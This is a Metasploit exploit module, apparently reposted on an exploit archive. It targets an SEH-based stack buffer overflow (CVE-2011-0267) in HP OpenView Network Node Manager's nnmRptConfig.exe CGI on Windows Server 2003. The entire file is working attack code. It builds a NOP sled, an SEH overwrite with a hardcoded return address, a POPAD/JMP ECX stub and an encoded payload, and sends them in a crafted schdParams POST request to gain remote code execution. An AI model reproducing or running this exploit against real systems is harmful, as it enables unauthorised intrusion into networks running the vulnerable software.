HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow

##
# $Id: hp_nnm_nnmrptconfig_schdparams.rb 12121 2011-03-24 00:49:33Z swtornio $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::Seh
 
    def initialize(info={})
        super(update_info(info,
            'Name'        => "HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow",
            'Description' => %q{
                This module exploits NNM's nnmRptConfig.exe. Similar to other NNM CGI bugs,
                the overflow occurs during a ov.sprintf_new() call, which allows an attacker to
                overwrite data on the stack, and gain arbitrary code execution.
            },
            'License'     => MSF_LICENSE,
            'Version'     => "$Revision: 12121 $",
            'Author'      => ['sinn3r'],
            'References'  =>
                [
                    ['CVE', '2011-0267'],
                    ['OSVDB', '70473'],
                    ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-009/'],
                ],
            'Payload' =>
                {
                    'BadChars' => "\x00\x26\x2b",
                },
            'DefaultOptions' =>
                {
                    'ExitFunction' => "seh",
                    'AutoRunScript' => 'migrate -f',
                },
            'Platform' => 'win',
            'Targets'  =>
                [
                    [
                        'NNM 7.53 - Windows Server 2003 Ent', {
                            'Ret'           => 0x5A30532D,  #POP/POP/RET OvWww.dll
                            'Offset'        => 46919,       #Offset to SEH chain
                            'Pops'          => 13,          #Number of POPADs needed to find a bigger space with our payload
                            'Payloadoffset' => 57,          #Offset to the payload
                    }],
                ],
            'DisclosureDate' => "Jan 10 2011"))
 
            register_options( [Opt::RPORT(80)], self.class )
    end
 
    def exploit
        nops = make_nops(1000)*70
 
        sploit  = nops[0, target['Offset']]
        sploit << generate_seh_record(target.ret)
        sploit << "\x61"*target['Pops']
        sploit << "\xff\xe1"  #JMP ECX
        sploit << nops[0, target['Payloadoffset']]
        sploit << payload.encoded
        sploit << "\x44"*(70000-sploit.length)
 
        data  = "Content&Action=Create&"
        data << "Template=Avail/CRAvail&"
        data << "Operation=Apply&"
        data << "Params=schdParams+nameParams&"
        data << "schdParams=#{sploit}%7Cmonthtodate&"
        data << "nameParams=text1%3DAAAA%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"
 
        connect
        send_request_raw({
            'uri'     => '/OvCgi/nnmRptConfig.exe',
            'data'    => data,
            'version' => '1.1',
            'method'  => 'POST',
            'headers' => {
                'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language' => 'en-us,en;q=0.5',
                'Accept-Encoding' => 'gzip,deflate',
                'Accept-Chrarset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
                'Keep-Alive'      => '300',
                'Connection'      => 'Keep-Alive',
                'Cache-Control'   => 'mag-age=0',
                'Content-Length'  => data.length,
                'Content-Type'    => 'application/x-www-form-urlencoded',
            }
        }, 3)
 
        handler
        disconnect
    end
end



#  0day.today [2018-03-14]  #